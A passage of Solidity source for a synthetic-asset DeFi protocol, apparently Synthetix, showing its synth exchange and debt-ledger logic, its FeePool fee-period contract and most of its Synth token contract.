emitSynthRemoved(currencyKey, synthToRemove);
}
function setEscrow(SynthetixEscrow _escrow)
external
optionalProxy_onlyOwner
{
escrow = _escrow;
}
function setExchangeRates(ExchangeRates _exchangeRates)
external
optionalProxy_onlyOwner
{
exchangeRates = _exchangeRates;
}
function setSynthetixState(SynthetixState _synthetixState)
external
optionalProxy_onlyOwner
{
synthetixState = _synthetixState;
emitStateContractChanged(_synthetixState);
}
function setPreferredCurrency(bytes4 currencyKey)
external
optionalProxy
{
require(currencyKey == 0 || !exchangeRates.rateIsStale(currencyKey), "Currency rate is stale or doesn't exist.");
synthetixState.setPreferredCurrency(messageSender, currencyKey);
emitPreferredCurrencyChanged(messageSender, currencyKey);
}
function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey)
public
view
rateNotStale(sourceCurrencyKey)
rateNotStale(destinationCurrencyKey)
returns (uint)
{
if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount;
return sourceAmount.multiplyDecimalRound(exchangeRates.rateForCurrency(sourceCurrencyKey))
.divideDecimalRound(exchangeRates.rateForCurrency(destinationCurrencyKey));
}
function totalIssuedSynths(bytes4 currencyKey)
public
view
rateNotStale(currencyKey)
returns (uint)
{
uint total = 0;
uint currencyRate = exchangeRates.rateForCurrency(currencyKey);
require(!exchangeRates.anyRateIsStale(availableCurrencyKeys()), "Rates are stale");
for (uint8 i = 0; i < availableSynths.length; i++) {
uint synthValue = availableSynths[i].totalSupply()
.multiplyDecimalRound(exchangeRates.rateForCurrency(availableSynths[i].currencyKey()))
.divideDecimalRound(currencyRate);
total = total.add(synthValue);
}
return total;
}
function availableCurrencyKeys()
internal
view
returns (bytes4[])
{
bytes4[] memory availableCurrencyKeys = new bytes4[](availableSynths.length);
for (uint8 i = 0; i < availableSynths.length; i++) {
availableCurrencyKeys[i] = availableSynths[i].currencyKey();
}
return availableCurrencyKeys;
}
function availableSynthCount()
public
view
returns (uint)
{
return availableSynths.length;
}
function transfer(address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transfer(to, value, empty);
}
function transfer(address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(value <= transferableSynthetix(messageSender), "Insufficient balance");
_transfer_byProxy(messageSender, to, value, data);
return true;
}
function transferFrom(address from, address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transferFrom(from, to, value, empty);
}
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(value <= transferableSynthetix(from), "Insufficient balance");
_transferFrom_byProxy(messageSender, from, to, value, data);
return true;
}
function exchange(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress)
external
optionalProxy
returns (bool)
{
require(sourceCurrencyKey != destinationCurrencyKey, "Exchange must use different synths");
require(sourceAmount > 0, "Zero amount");
return _internalExchange(
messageSender,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
destinationAddress == address(0) ? messageSender : destinationAddress,
true
);
}
function synthInitiatedExchange(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount,
bytes4 destinationCurrencyKey,
address destinationAddress
)
external
onlySynth
returns (bool)
{
require(sourceCurrencyKey != destinationCurrencyKey, "Can't be same synth");
require(sourceAmount > 0, "Zero amount");
return _internalExchange(
from,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
destinationAddress,
false
);
}
function synthInitiatedFeePayment(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount
)
external
onlySynth
returns (bool)
{
if (sourceAmount == 0) {
return true;
}
require(sourceAmount > 0, "Source can't be 0");
bool result = _internalExchange(
from,
sourceCurrencyKey,
sourceAmount,
"XDR",
feePool.FEE_ADDRESS(),
false
);
feePool.feePaid(sourceCurrencyKey, sourceAmount);
return result;
}
function _internalExchange(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount,
bytes4 destinationCurrencyKey,
address destinationAddress,
bool chargeFee
)
internal
notFeeAddress(from)
returns (bool)
{
require(destinationAddress != address(0), "Zero destination");
require(destinationAddress != address(this), "Synthetix is invalid destination");
require(destinationAddress != address(proxy), "Proxy is invalid destination");
synths[sourceCurrencyKey].burn(from, sourceAmount);
uint destinationAmount = effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey);
uint amountReceived = destinationAmount;
uint fee = 0;
if (chargeFee) {
amountReceived = feePool.amountReceivedFromExchange(destinationAmount);
fee = destinationAmount.sub(amountReceived);
}
synths[destinationCurrencyKey].issue(destinationAddress, amountReceived);
if (fee > 0) {
uint xdrFeeAmount = effectiveValue(destinationCurrencyKey, fee, "XDR");
synths["XDR"].issue(feePool.FEE_ADDRESS(), xdrFeeAmount);
}
synths[destinationCurrencyKey].triggerTokenFallbackIfNeeded(from, destinationAddress, amountReceived);
emitSynthExchange(from, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, amountReceived, destinationAddress);
return true;
}
function _addToDebtRegister(bytes4 currencyKey, uint amount)
internal
optionalProxy
{
uint xdrValue = effectiveValue(currencyKey, amount, "XDR");
uint totalDebtIssued = totalIssuedSynths("XDR");
uint newTotalDebtIssued = xdrValue.add(totalDebtIssued);
uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage);
uint existingDebt = debtBalanceOf(messageSender, "XDR");
if (existingDebt > 0) {
debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued);
}
if (!synthetixState.hasIssued(messageSender)) {
synthetixState.incrementTotalIssuerCount();
}
synthetixState.setCurrentIssuanceData(messageSender, debtPercentage);
if (synthetixState.debtLedgerLength() > 0) {
synthetixState.appendDebtLedgerValue(
synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta)
);
} else {
synthetixState.appendDebtLedgerValue(SafeDecimalMath.preciseUnit());
}
}
function issueSynths(bytes4 currencyKey, uint amount)
public
optionalProxy
nonZeroAmount(amount)
{
require(amount <= remainingIssuableSynths(messageSender, currencyKey), "Amount too large");
_addToDebtRegister(currencyKey, amount);
synths[currencyKey].issue(messageSender, amount);
}
function issueMaxSynths(bytes4 currencyKey)
external
optionalProxy
{
uint maxIssuable = remainingIssuableSynths(messageSender, currencyKey);
issueSynths(currencyKey, maxIssuable);
}
function burnSynths(bytes4 currencyKey, uint amount)
external
optionalProxy
{
uint debt = debtBalanceOf(messageSender, currencyKey);
require(debt > 0, "No debt to forgive");
uint amountToBurn = debt < amount ? debt : amount;
_removeFromDebtRegister(currencyKey, amountToBurn);
synths[currencyKey].burn(messageSender, amountToBurn);
}
function _removeFromDebtRegister(bytes4 currencyKey, uint amount)
internal
{
uint debtToRemove = effectiveValue(currencyKey, amount, "XDR");
uint existingDebt = debtBalanceOf(messageSender, "XDR");
uint totalDebtIssued = totalIssuedSynths("XDR");
uint debtPercentage = debtToRemove.divideDecimalRoundPrecise(totalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().add(debtPercentage);
if (debtToRemove == existingDebt) {
synthetixState.clearIssuanceData(messageSender);
synthetixState.decrementTotalIssuerCount();
} else {
uint newDebt = existingDebt.sub(debtToRemove);
uint newTotalDebtIssued = totalDebtIssued.sub(debtToRemove);
uint newDebtPercentage = newDebt.divideDecimalRoundPrecise(newTotalDebtIssued);
synthetixState.setCurrentIssuanceData(messageSender, newDebtPercentage);
}
synthetixState.appendDebtLedgerValue(
synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta)
);
}
function maxIssuableSynths(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint destinationValue = effectiveValue("SNX", collateral(issuer), currencyKey);
return destinationValue.multiplyDecimal(synthetixState.issuanceRatio());
}
function collateralisationRatio(address issuer)
public
view
returns (uint)
{
uint totalOwnedSynthetix = collateral(issuer);
if (totalOwnedSynthetix == 0) return 0;
uint debtBalance = debtBalanceOf(issuer, "SNX");
return debtBalance.divideDecimalRound(totalOwnedSynthetix);
}
function debtBalanceOf(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint initialDebtOwnership;
uint debtEntryIndex;
(initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(issuer);
if (initialDebtOwnership == 0) return 0;
uint currentDebtOwnership = synthetixState.lastDebtLedgerEntry()
.divideDecimalRoundPrecise(synthetixState.debtLedger(debtEntryIndex))
.multiplyDecimalRoundPrecise(initialDebtOwnership);
uint totalSystemValue = totalIssuedSynths(currencyKey);
uint highPrecisionBalance = totalSystemValue.decimalToPreciseDecimal()
.multiplyDecimalRoundPrecise(currentDebtOwnership);
return highPrecisionBalance.preciseDecimalToDecimal();
}
function remainingIssuableSynths(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint alreadyIssued = debtBalanceOf(issuer, currencyKey);
uint max = maxIssuableSynths(issuer, currencyKey);
if (alreadyIssued >= max) {
return 0;
} else {
return max.sub(alreadyIssued);
}
}
function collateral(address account)
public
view
returns (uint)
{
uint balance = tokenState.balanceOf(account);
if (escrow != address(0)) {
balance = balance.add(escrow.balanceOf(account));
}
return balance;
}
function transferableSynthetix(address account)
public
view
rateNotStale("SNX")
returns (uint)
{
uint balance = tokenState.balanceOf(account);
uint lockedSynthetixValue = debtBalanceOf(account, "SNX").divideDecimalRound(synthetixState.issuanceRatio());
if (lockedSynthetixValue >= balance) {
return 0;
} else {
return balance.sub(lockedSynthetixValue);
}
}
modifier rateNotStale(bytes4 currencyKey) {
require(!exchangeRates.rateIsStale(currencyKey), "Rate stale or nonexistant currency");
_;
}
modifier notFeeAddress(address account) {
require(account != feePool.FEE_ADDRESS(), "Fee address not allowed");
_;
}
modifier onlySynth() {
bool isSynth = false;
for (uint8 i = 0; i < availableSynths.length; i++) {
if (availableSynths[i] == msg.sender) {
isSynth = true;
break;
}
}
require(isSynth, "Only synth allowed");
_;
}
modifier nonZeroAmount(uint _amount) {
require(_amount > 0, "Amount needs to be larger than 0");
_;
}
event SynthExchange(address indexed account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress);
bytes32 constant SYNTHEXCHANGE_SIG = keccak256("SynthExchange(address,bytes4,uint256,bytes4,uint256,address)");
function emitSynthExchange(address account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress) internal {
proxy._emit(abi.encode(fromCurrencyKey, fromAmount, toCurrencyKey, toAmount, toAddress), 2, SYNTHEXCHANGE_SIG, bytes32(account), 0, 0);
}
event PreferredCurrencyChanged(address indexed account, bytes4 newPreferredCurrency);
bytes32 constant PREFERREDCURRENCYCHANGED_SIG = keccak256("PreferredCurrencyChanged(address,bytes4)");
function emitPreferredCurrencyChanged(address account, bytes4 newPreferredCurrency) internal {
proxy._emit(abi.encode(newPreferredCurrency), 2, PREFERREDCURRENCYCHANGED_SIG, bytes32(account), 0, 0);
}
event StateContractChanged(address stateContract);
bytes32 constant STATECONTRACTCHANGED_SIG = keccak256("StateContractChanged(address)");
function emitStateContractChanged(address stateContract) internal {
proxy._emit(abi.encode(stateContract), 1, STATECONTRACTCHANGED_SIG, 0, 0, 0);
}
event SynthAdded(bytes4 currencyKey, address newSynth);
bytes32 constant SYNTHADDED_SIG = keccak256("SynthAdded(bytes4,address)");
function emitSynthAdded(bytes4 currencyKey, address newSynth) internal {
proxy._emit(abi.encode(currencyKey, newSynth), 1, SYNTHADDED_SIG, 0, 0, 0);
}
event SynthRemoved(bytes4 currencyKey, address removedSynth);
bytes32 constant SYNTHREMOVED_SIG = keccak256("SynthRemoved(bytes4,address)");
function emitSynthRemoved(bytes4 currencyKey, address removedSynth) internal {
proxy._emit(abi.encode(currencyKey, removedSynth), 1, SYNTHREMOVED_SIG, 0, 0, 0);
}
}
contract FeePool is Proxyable, SelfDestructible {
using SafeMath for uint;
using SafeDecimalMath for uint;
Synthetix public synthetix;
uint public transferFeeRate;
uint constant public MAX_TRANSFER_FEE_RATE = SafeDecimalMath.unit() / 10;
uint public exchangeFeeRate;
uint constant public MAX_EXCHANGE_FEE_RATE = SafeDecimalMath.unit() / 10;
address public feeAuthority;
address public constant FEE_ADDRESS = 0xfeEFEEfeefEeFeefEEFEEfEeFeefEEFeeFEEFEeF;
struct FeePeriod {
uint feePeriodId;
uint startingDebtIndex;
uint startTime;
uint feesToDistribute;
uint feesClaimed;
}
uint8 constant public FEE_PERIOD_LENGTH = 6;
FeePeriod[FEE_PERIOD_LENGTH] public recentFeePeriods;
uint public nextFeePeriodId;
uint public feePeriodDuration = 1 weeks;
uint public constant MIN_FEE_PERIOD_DURATION = 1 days;
uint public constant MAX_FEE_PERIOD_DURATION = 60 days;
mapping(address => uint) public lastFeeWithdrawal;
uint constant TWENTY_PERCENT = (20 * SafeDecimalMath.unit()) / 100;
uint constant TWENTY_FIVE_PERCENT = (25 * SafeDecimalMath.unit()) / 100;
uint constant THIRTY_PERCENT = (30 * SafeDecimalMath.unit()) / 100;
uint constant FOURTY_PERCENT = (40 * SafeDecimalMath.unit()) / 100;
uint constant FIFTY_PERCENT = (50 * SafeDecimalMath.unit()) / 100;
uint constant SEVENTY_FIVE_PERCENT = (75 * SafeDecimalMath.unit()) / 100;
constructor(address _proxy, address _owner, Synthetix _synthetix, address _feeAuthority, uint _transferFeeRate, uint _exchangeFeeRate)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
public
{
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Constructed transfer fee rate should respect the maximum fee rate");
require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "Constructed exchange fee rate should respect the maximum fee rate");
synthetix = _synthetix;
feeAuthority = _feeAuthority;
transferFeeRate = _transferFeeRate;
exchangeFeeRate = _exchangeFeeRate;
recentFeePeriods[0].feePeriodId = 1;
recentFeePeriods[0].startTime = now;
nextFeePeriodId = 2;
}
function setExchangeFeeRate(uint _exchangeFeeRate)
external
optionalProxy_onlyOwner
{
require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "Exchange fee rate must be below MAX_EXCHANGE_FEE_RATE");
exchangeFeeRate = _exchangeFeeRate;
emitExchangeFeeUpdated(_exchangeFeeRate);
}
function setTransferFeeRate(uint _transferFeeRate)
external
optionalProxy_onlyOwner
{
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Transfer fee rate must be below MAX_TRANSFER_FEE_RATE");
transferFeeRate = _transferFeeRate;
emitTransferFeeUpdated(_transferFeeRate);
}
function setFeeAuthority(address _feeAuthority)
external
optionalProxy_onlyOwner
{
feeAuthority = _feeAuthority;
emitFeeAuthorityUpdated(_feeAuthority);
}
function setFeePeriodDuration(uint _feePeriodDuration)
external
optionalProxy_onlyOwner
{
require(_feePeriodDuration >= MIN_FEE_PERIOD_DURATION, "New fee period cannot be less than minimum fee period duration");
require(_feePeriodDuration <= MAX_FEE_PERIOD_DURATION, "New fee period cannot be greater than maximum fee period duration");
feePeriodDuration = _feePeriodDuration;
emitFeePeriodDurationUpdated(_feePeriodDuration);
}
function setSynthetix(Synthetix _synthetix)
external
optionalProxy_onlyOwner
{
require(address(_synthetix) != address(0), "New Synthetix must be non-zero");
synthetix = _synthetix;
emitSynthetixUpdated(_synthetix);
}
function feePaid(bytes4 currencyKey, uint amount)
external
onlySynthetix
{
uint xdrAmount = synthetix.effectiveValue(currencyKey, amount, "XDR");
recentFeePeriods[0].feesToDistribute = recentFeePeriods[0].feesToDistribute.add(xdrAmount);
}
function closeCurrentFeePeriod()
external
onlyFeeAuthority
{
require(recentFeePeriods[0].startTime <= (now - feePeriodDuration), "It is too early to close the current fee period");
FeePeriod memory secondLastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 2];
FeePeriod memory lastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 1];
recentFeePeriods[FEE_PERIOD_LENGTH - 2].feesToDistribute = lastFeePeriod.feesToDistribute
.sub(lastFeePeriod.feesClaimed)
.add(secondLastFeePeriod.feesToDistribute);
for (uint i = FEE_PERIOD_LENGTH - 2; i < FEE_PERIOD_LENGTH; i--) {
uint next = i + 1;
recentFeePeriods[next].feePeriodId = recentFeePeriods[i].feePeriodId;
recentFeePeriods[next].startingDebtIndex = recentFeePeriods[i].startingDebtIndex;
recentFeePeriods[next].startTime = recentFeePeriods[i].startTime;
recentFeePeriods[next].feesToDistribute = recentFeePeriods[i].feesToDistribute;
recentFeePeriods[next].feesClaimed = recentFeePeriods[i].feesClaimed;
}
delete recentFeePeriods[0];
recentFeePeriods[0].feePeriodId = nextFeePeriodId;
recentFeePeriods[0].startingDebtIndex = synthetix.synthetixState().debtLedgerLength();
recentFeePeriods[0].startTime = now;
nextFeePeriodId = nextFeePeriodId.add(1);
emitFeePeriodClosed(recentFeePeriods[1].feePeriodId);
}
function claimFees(bytes4 currencyKey)
external
optionalProxy
returns (bool)
{
uint availableFees = feesAvailable(messageSender, "XDR");
require(availableFees > 0, "No fees available for period, or fees already claimed");
lastFeeWithdrawal[messageSender] = recentFeePeriods[1].feePeriodId;
_recordFeePayment(availableFees);
_payFees(messageSender, availableFees, currencyKey);
emitFeesClaimed(messageSender, availableFees);
return true;
}
function _recordFeePayment(uint xdrAmount)
internal
{
uint remainingToAllocate = xdrAmount;
for (uint i = FEE_PERIOD_LENGTH - 1; i < FEE_PERIOD_LENGTH; i--) {
uint delta = recentFeePeriods[i].feesToDistribute.sub(recentFeePeriods[i].feesClaimed);
if (delta > 0) {
uint amountInPeriod = delta < remainingToAllocate ? delta : remainingToAllocate;
recentFeePeriods[i].feesClaimed = recentFeePeriods[i].feesClaimed.add(amountInPeriod);
remainingToAllocate = remainingToAllocate.sub(amountInPeriod);
if (remainingToAllocate == 0) return;
}
}
assert(remainingToAllocate == 0);
}
function _payFees(address account, uint xdrAmount, bytes4 destinationCurrencyKey)
internal
notFeeAddress(account)
{
require(account != address(0), "Account can't be 0");
require(account != address(this), "Can't send fees to fee pool");
require(account != address(proxy), "Can't send fees to proxy");
require(account != address(synthetix), "Can't send fees to synthetix");
Synth xdrSynth = synthetix.synths("XDR");
Synth destinationSynth = synthetix.synths(destinationCurrencyKey);
xdrSynth.burn(FEE_ADDRESS, xdrAmount);
uint destinationAmount = synthetix.effectiveValue("XDR", xdrAmount, destinationCurrencyKey);
destinationSynth.issue(account, destinationAmount);
destinationSynth.triggerTokenFallbackIfNeeded(FEE_ADDRESS, account, destinationAmount);
}
function transferFeeIncurred(uint value)
public
view
returns (uint)
{
return value.multiplyDecimal(transferFeeRate);
}
function transferredAmountToReceive(uint value)
external
view
returns (uint)
{
return value.add(transferFeeIncurred(value));
}
function amountReceivedFromTransfer(uint value)
external
view
returns (uint)
{
return value.divideDecimal(transferFeeRate.add(SafeDecimalMath.unit()));
}
function exchangeFeeIncurred(uint value)
public
view
returns (uint)
{
return value.multiplyDecimal(exchangeFeeRate);
}
function exchangedAmountToReceive(uint value)
external
view
returns (uint)
{
return value.add(exchangeFeeIncurred(value));
}
function amountReceivedFromExchange(uint value)
external
view
returns (uint)
{
return value.divideDecimal(exchangeFeeRate.add(SafeDecimalMath.unit()));
}
function totalFeesAvailable(bytes4 currencyKey)
external
view
returns (uint)
{
uint totalFees = 0;
for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {
totalFees = totalFees.add(recentFeePeriods[i].feesToDistribute);
totalFees = totalFees.sub(recentFeePeriods[i].feesClaimed);
}
return synthetix.effectiveValue("XDR", totalFees, currencyKey);
}
function feesAvailable(address account, bytes4 currencyKey)
public
view
returns (uint)
{
uint[FEE_PERIOD_LENGTH] memory userFees = feesByPeriod(account);
uint totalFees = 0;
for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {
totalFees = totalFees.add(userFees[i]);
}
return synthetix.effectiveValue("XDR", totalFees, currencyKey);
}
function currentPenalty(address account)
public
view
returns (uint)
{
uint ratio = synthetix.collateralisationRatio(account);
if (ratio <= TWENTY_PERCENT) {
return 0;
} else if (ratio > TWENTY_PERCENT && ratio <= THIRTY_PERCENT) {
return TWENTY_FIVE_PERCENT;
} else if (ratio > THIRTY_PERCENT && ratio <= FOURTY_PERCENT) {
return FIFTY_PERCENT;
}
return SEVENTY_FIVE_PERCENT;
}
function feesByPeriod(address account)
public
view
returns (uint[FEE_PERIOD_LENGTH])
{
uint[FEE_PERIOD_LENGTH] memory result;
uint initialDebtOwnership;
uint debtEntryIndex;
(initialDebtOwnership, debtEntryIndex) = synthetix.synthetixState().issuanceData(account);
if (initialDebtOwnership == 0) return result;
uint totalSynths = synthetix.totalIssuedSynths("XDR");
if (totalSynths == 0) return result;
uint debtBalance = synthetix.debtBalanceOf(account, "XDR");
uint userOwnershipPercentage = debtBalance.divideDecimal(totalSynths);
uint penalty = currentPenalty(account);
for (uint i = 0; i < FEE_PERIOD_LENGTH; i++) {
if (recentFeePeriods[i].startingDebtIndex > debtEntryIndex &&
lastFeeWithdrawal[account] < recentFeePeriods[i].feePeriodId) {
uint feesFromPeriodWithoutPenalty = recentFeePeriods[i].feesToDistribute
.multiplyDecimal(userOwnershipPercentage);
uint penaltyFromPeriod = feesFromPeriodWithoutPenalty.multiplyDecimal(penalty);
uint feesFromPeriod = feesFromPeriodWithoutPenalty.sub(penaltyFromPeriod);
result[i] = feesFromPeriod;
}
}
return result;
}
modifier onlyFeeAuthority
{
require(msg.sender == feeAuthority, "Only the fee authority can perform this action");
_;
}
modifier onlySynthetix
{
require(msg.sender == address(synthetix), "Only the synthetix contract can perform this action");
_;
}
modifier notFeeAddress(address account) {
require(account != FEE_ADDRESS, "Fee address not allowed");
_;
}
event TransferFeeUpdated(uint newFeeRate);
bytes32 constant TRANSFERFEEUPDATED_SIG = keccak256("TransferFeeUpdated(uint256)");
function emitTransferFeeUpdated(uint newFeeRate) internal {
proxy._emit(abi.encode(newFeeRate), 1, TRANSFERFEEUPDATED_SIG, 0, 0, 0);
}
event ExchangeFeeUpdated(uint newFeeRate);
bytes32 constant EXCHANGEFEEUPDATED_SIG = keccak256("ExchangeFeeUpdated(uint256)");
function emitExchangeFeeUpdated(uint newFeeRate) internal {
proxy._emit(abi.encode(newFeeRate), 1, EXCHANGEFEEUPDATED_SIG, 0, 0, 0);
}
event FeePeriodDurationUpdated(uint newFeePeriodDuration);
bytes32 constant FEEPERIODDURATIONUPDATED_SIG = keccak256("FeePeriodDurationUpdated(uint256)");
function emitFeePeriodDurationUpdated(uint newFeePeriodDuration) internal {
proxy._emit(abi.encode(newFeePeriodDuration), 1, FEEPERIODDURATIONUPDATED_SIG, 0, 0, 0);
}
event FeeAuthorityUpdated(address newFeeAuthority);
bytes32 constant FEEAUTHORITYUPDATED_SIG = keccak256("FeeAuthorityUpdated(address)");
function emitFeeAuthorityUpdated(address newFeeAuthority) internal {
proxy._emit(abi.encode(newFeeAuthority), 1, FEEAUTHORITYUPDATED_SIG, 0, 0, 0);
}
event FeePeriodClosed(uint feePeriodId);
bytes32 constant FEEPERIODCLOSED_SIG = keccak256("FeePeriodClosed(uint256)");
function emitFeePeriodClosed(uint feePeriodId) internal {
proxy._emit(abi.encode(feePeriodId), 1, FEEPERIODCLOSED_SIG, 0, 0, 0);
}
event FeesClaimed(address account, uint xdrAmount);
bytes32 constant FEESCLAIMED_SIG = keccak256("FeesClaimed(address,uint256)");
function emitFeesClaimed(address account, uint xdrAmount) internal {
proxy._emit(abi.encode(account, xdrAmount), 1, FEESCLAIMED_SIG, 0, 0, 0);
}
event SynthetixUpdated(address newSynthetix);
bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)");
function emitSynthetixUpdated(address newSynthetix) internal {
proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0);
}
}
contract Synth is ExternStateToken {
FeePool public feePool;
Synthetix public synthetix;
bytes4 public currencyKey;
uint8 constant DECIMALS = 18;
constructor(address _proxy, TokenState _tokenState, Synthetix _synthetix, FeePool _feePool,
string _tokenName, string _tokenSymbol, address _owner, bytes4 _currencyKey
)
ExternStateToken(_proxy, _tokenState, _tokenName, _tokenSymbol, 0, DECIMALS, _owner)
public
{
require(_proxy != 0, "_proxy cannot be 0");
require(address(_synthetix) != 0, "_synthetix cannot be 0");
require(address(_feePool) != 0, "_feePool cannot be 0");
require(_owner != 0, "_owner cannot be 0");
require(_synthetix.synths(_currencyKey) == Synth(0), "Currency key is already in use");
feePool = _feePool;
synthetix = _synthetix;
currencyKey = _currencyKey;
}
function setSynthetix(Synthetix _synthetix)
external
optionalProxy_onlyOwner
{
synthetix = _synthetix;
emitSynthetixUpdated(_synthetix);
}
function setFeePool(FeePool _feePool)
external
optionalProxy_onlyOwner
{
feePool = _feePool;
emitFeePoolUpdated(_feePool);
}
function transfer(address to, uint value)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
bytes memory empty;
return _internalTransfer(messageSender, to, amountReceived, empty);
}
function transfer(address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
return _internalTransfer(messageSender, to, amountReceived, data);
}
function transferFrom(address from, address to, uint value)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
bytes memory empty;
return _internalTransfer(from, to, amountReceived, empty);
}
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
return _internalTransfer(from, to, amountReceived, data);
}
function transferSenderPaysFee(address to, uint value)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
bytes memory empty;
return _internalTransfer(messageSender, to, value, empty);
}
function transferSenderPaysFee(address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
return _internalTransfer(messageSender, to, value, data);
}
function transferFromSenderPaysFee(address from, address to, uint value)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee)));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
bytes memory empty;
return _internalTransfer(from, to, value, empty);
}
function transferFromSenderPaysFee(address from, address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee)));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
return _internalTransfer(from, to, value, data);
}
function _internalTransfer(address from, address to, uint value, bytes data)
internal
returns (bool)
{
bytes4 preferredCurrencyKey = synthetix.synthetixState().preferredCurrency(to);
if (preferredCurrencyKey != 0 && preferredCurrencyKey != currencyKey) {
return synthetix.synthInitiatedExchange(from, currencyKey, value, preferredCurrencyKey, to);
} else {
return super._internalTransfer(from, to, value, data);
}
}
function issue(address account, uint amount)
external
onlySynthetixOrFeePool
{
tokenState.setBalanceOf(account, tokenState.balanceOf(account).add(amount));
totalSupply = totalSupply.add(amount);
emitTransfer(address(0), account, amount);
emitIssued(account, amount);
}
function burn(address account, uint amount)
external
onlySynthetixOrFeePool
{
tokenState.setBalanceOf(account, tokenState.balanceOf(account).sub(amount));
totalSupply = totalSupply.sub(amount);
emitTransfer(account, address(0), amount);
emitBurned(account, amount);
}
function setTotalSupply(uint amount)
external
optionalProxy_onlyOwner
{
totalSupply = amount;
}
function triggerTokenFallbackIfNeeded(address sender, address recipient, uint amount)
external
onlySynthetixOrFeePool
{
bytes memory empty;
callTokenFallbackIfNeeded(sender, recipient, amount, empty);
}
modifier onlySynthetixOrFeePool() {
bool isSynthetix = msg.sender == address(synthetix);
bool isFeePool = msg.sender == address(feePool);
require(isSynthetix || isFeePool, "Only the Synthetix or FeePool contracts can perform this action");
_;
}
modifier notFeeAddress(address account) {
require(account != feePool.FEE_ADDRESS(), "Cannot perform this action with the fee address");
_;
}
event SynthetixUpdated(address newSynthetix);
bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)");
function emitSynthetixUpdated(address newSynthetix) internal {
proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0);
}
event FeePoolUpdated(address newFeePool);
bytes32 constant FEEPOOLUPDATED_SIG = keccak256("FeePoolUpdated(address)");
function emitFeePoolUpdated(address newFeePool) internal {
proxy._emit(abi.encode(newFeePool), 1, FEEPOOLUPDATED_SIG, 0, 0, 0);
}
event Issued(address indexed account, uint value);
bytes32 constant ISSUED_SIG = keccak256("Issued(address,uint256)");
function emitIssued(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, ISSUED_SIG, bytes32(account), 0, 0);
}
event Burned(address indexed account, uint value);
bytes32 constant BURNED_SIG = keccak256("Burned(address,uint256)");
function emitBurned(address account, uint value) internal {
